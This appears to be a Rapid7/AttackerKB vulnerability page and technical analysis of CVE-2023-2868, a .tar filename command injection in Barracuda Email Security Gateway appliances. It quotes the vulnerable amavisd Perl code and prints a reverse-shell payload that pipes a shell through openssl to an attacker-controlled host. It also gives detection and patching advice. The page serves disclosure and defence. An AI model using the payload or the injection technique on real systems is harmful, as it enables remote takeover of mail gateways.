Attacker Value
Very High
(1 user assessed)
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


A remote command injection vulnerability exists in the Barracuda Email Security Gateway (appliance form factor only) product effecting versions The vulnerability arises out of a failure to comprehensively sanitize the processing of .tar file (tape archives). The vulnerability stems from incomplete input validation of a user-supplied .tar file as it pertains to the names of the files contained within the archive. As a consequence, a remote attacker can specifically format these file names in a particular manner that will result in remotely executing a system command through Perl’s qx operator with the privileges of the Email Security Gateway product. This issue was fixed as part of BNSF-36456 patch. This patch was automatically applied to all customer appliances.

Add Assessment

Technical Analysis

See the Rapid7 Analysis for a full technical analysis of this vulnerability, including proof-of-concept code.

The vendor’s advisory has now grown to encompass CVE-2023-7102, another zero-day vulnerability in ESG appliances, in addition to the original CVE-2023-2868. Both attacks attributed to “suspected China-nexus actor” UNC4841 by Mandiant, which has multiple analyses available along with IOCs.

General Information


  • Barracuda


  • Barracuda Email Security Gateway

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis


On May 30, 2023, Barracuda Networks published an advisory for CVE-2023-2868, an easily exploitable remote command injection vulnerability affecting several versions of Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists in a module that screens attachments of incoming emails and is triggered by crafted .tar files. Successful exploitation allows remote, unauthenticated attackers to execute code on appliances in the context of a privileged user. CVE-2023-2868 carries a CVSS score of 9.8. According to the vendor advisory, CVE-2023-2868 has been exploited in the wild since October 2022.

Affected systems include Barracuda Email Security Gateway appliances with firmware versions – (appliance form factor only). We tested against a Barracuda ESG 300 firmware version to confirm exploitability. Tests against virtual machine instances were not successful.

Technical analysis

Exploiting this vulnerability proved to be simple, but finding a valid test target served to be more challenging. Our proof of concept (PoC) started off with the hint from Mandiant’s blog mentioning that filenames within TAR files as the attack vector. With that in mind, we developed our PoC with code that creates tarfiles containing user-controlled filenames and data.

Setup – Virtual Appliance

The vendor advisory mentions “appliance form factor only” for affected systems, but that was not something we immediately had available. Trials for Virtual Instances are available so that is where we started to get our basic PoC going.

Starting up a virtual instance drops users into a locked down console where we can configure various network settings. At this point it would be ideal to get shell access to have insight into how the device works, but no avenues were available. We explored GTFOBins against some of the networking utility tools present in the console, but that was a dead end as well. We could, however, point the device’s DNS to an instance of dnschef to observe and manipulate DNS traffic.

Outside of the console, the device runs an administrative web service on port 8000 where we can log in as admin with default credentials to continue setup. Setting a domain with users to ensure email is correctly sent appears to be important for exploit reliability. We pointed upstream SMTP to a dockerized instance of mailhog for easy setup here.

With all these pieces configured properly, we then expanded our PoC to send mail via SMTP to the device, which then sends it to our mailhog instance. We also performed simple fuzzing with various commands and escape character sequences to see what payloads would work, but inevitably we had no success with a virtual appliance.

Physical Appliances

The initial vendor advisory recommended immediately decommissioning and replacing all appliances as means of response. With this in mind, we figured second hand appliances would be on sale. Within little over a week we obtained a second hand Barracuda ESG 300 with firmware version Setup for the physical appliance is nearly identical to the virtual appliance, so we repeated the steps from earlier to get a lab environment going.

Using our PoC and some simple fuzzing, we immediately confirmed successful command execution against the physical appliance with ping and dig commands. Using dnschef and running wireshark against all traffic, we immediately confirmed these commands worked! To gain shell access, we used the following payload, the same that the Mandiant advisory mentioned:

setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect #{LHOST}:#{LPORT} >/tmp/p 2>/dev/null;rm /tmp/p"


Shell access to the device gives us permissions of the scana user. Some limited sudo functionality gives privileged read and write access as this user for additional escalation.

Searching for clues as to which process is being compromised here, we found references to amavisd in the filesystem. amavisd is part of amavisd-new, an interface between mailers and content checkers such as virus scanners (and the source of several Zimbra vulnerabilities last year, including the exploits for CVE-2022-30333 and CVE-2022-41352. All this being relevant to processing .tar files, we found the amavisd Perl file and discovered the following snippet:

# untar any tar archives with '/bin/tar'
# extract each file individually
# BNSF-19979 Switched to /bin/tar instead of Archive::Tar
sub do_tar($$) {
    my($part,$tempdir) = @_;
    my $tarexec = '/bin/tar';

    unless (-x $tarexec) {
        chomp($@); do_log(4, "Tar unavailable! Could not extract $part");
	return 0;

    do_log(4,"Untarring $part");
    my @files = split(/\n/,qx{$tarexec -tf $tempdir/parts/$part});
    foreach my $f (@files) {
        next  if ($f =~ /\/$/); #ignore directories
        my $content = qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

Here we can control the $f value with filenames, which get processed in the context of the Perl qx{} used to execute system commands. We can easily string escape with a series of single quotes and backticks with the following for command execution:


Digging further into the amavisd on the appliance, the do_tar function appears to be modified as seen in the comments mentioning BNSF-19979. Comparing to available versions of amavisd-new, the do_tar function has been commented out and does not contain the vulnerable qx{} call:

# DROPED SUPPORT for Archive::Tar; main drawback of this module is: it either
# loads an entire tar into memory (horrors!), or when using extract_archive()
# it does not relativize absolute paths (which makes it possible to store
# members in any directory writable by uid), and does not provide a way to
# capture contents of members with the same name. Use pax program instead!
#use Archive::Tar;
#sub do_tar($$) {
# my($part, $tempdir) = @_;
# snmp_count('OpsDecByArTar');
# # Work around bug in Archive-Tar
# my $tar = eval { Archive::Tar->new($part->full_name) };
# if (!defined($tar)) {
#   chomp $@;
#   do_log(4, "Faulty archive %s: %s", $part->full_name, $@);
#   die $@  if $@ =~ /^timed out\b/;  # resignal timeout
#   return 0;
# }
# do_log(4,"Untarring %s", $part->base_name);

It is not obvious which version of amavisd is used here. Others using this library will not be vulnerable to the same issue if using the latest versions.


Guidance from our blog to keep a lookout for network indicators is the best start for observing behavior. .tar files with any contained filenames including a single quote character, backtick, then system commands are potentially problematic.

Observation of the sana user and any child processes from amavisd daemon could be of interest for those with shell access to the appliance.


Barracuda Email Security Gateway customers with physical appliances should update to the latest firmware immediately. See more in Barracuda’s advisory.